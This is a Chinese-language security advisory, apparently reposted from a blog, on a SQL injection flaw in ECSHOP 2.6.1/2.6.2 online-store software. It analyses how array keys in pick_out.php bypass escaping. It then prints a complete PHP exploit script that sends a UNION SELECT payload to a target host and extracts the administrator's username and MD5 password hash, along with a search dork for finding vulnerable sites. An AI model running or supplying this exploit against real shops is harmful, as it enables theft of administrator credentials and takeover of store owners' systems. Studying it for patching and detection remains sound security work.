影响版本:
ECSHOP 2.6.1/2.6.2
程序介绍:
ECSHOP是一款开源免费的网上商店系统，
ECSHOP商城系统过滤不严导致SQL注入漏洞
。由专业的开发团队升级维护，为您提供及时高效的技术支持，您还可以根据自己的商务特征对ECSHOP进行定制，增加自己商城的特色功能。漏洞分析:
文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
// includes/init.php
if (!get_magic_quotes_gpc())
{
if (!emptyempty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!emptyempty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
// includes/lib_base.php
function addslashes_deep($value)
{
if (emptyempty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
// 只处理了数组的值:)
}
}
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
// pick_out.php
if (!emptyempty($_GET['attr']))
{
foreach($_GET['attr'] as $key => $value)
{
$key = intval($key);
$_GET['attr'][$key] = htmlspecialchars($value);
// foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
// 因此可以引入任意的key:)
// 程序员的逻辑出了问题?
}
}
...
foreach ($_GET['attr'] AS $key => $value)
{
$attr_url .= '&attr[' . $key . ']=' . $value;
$attr_picks[] = $key;
if ($i > 0)
{
if (emptyempty($goods_result))
{
break;
}
// 利用key进行注射:)
$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.
漏洞利用:
#!/usr/bin/php
//本程序只作技术交流，请不要用做非法用途！！
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with magic_quotes_gpc = Off
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';
$data = "GET ".$path."pick_out.php?".$cmd." HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.ecshop.com
信息来源:
<*来源: ryat#www.wolvez.org
链接: http://www.80vul.com
*>
本文来自: cool kid's blog http://www.cnredhat.com/?action=show&id=191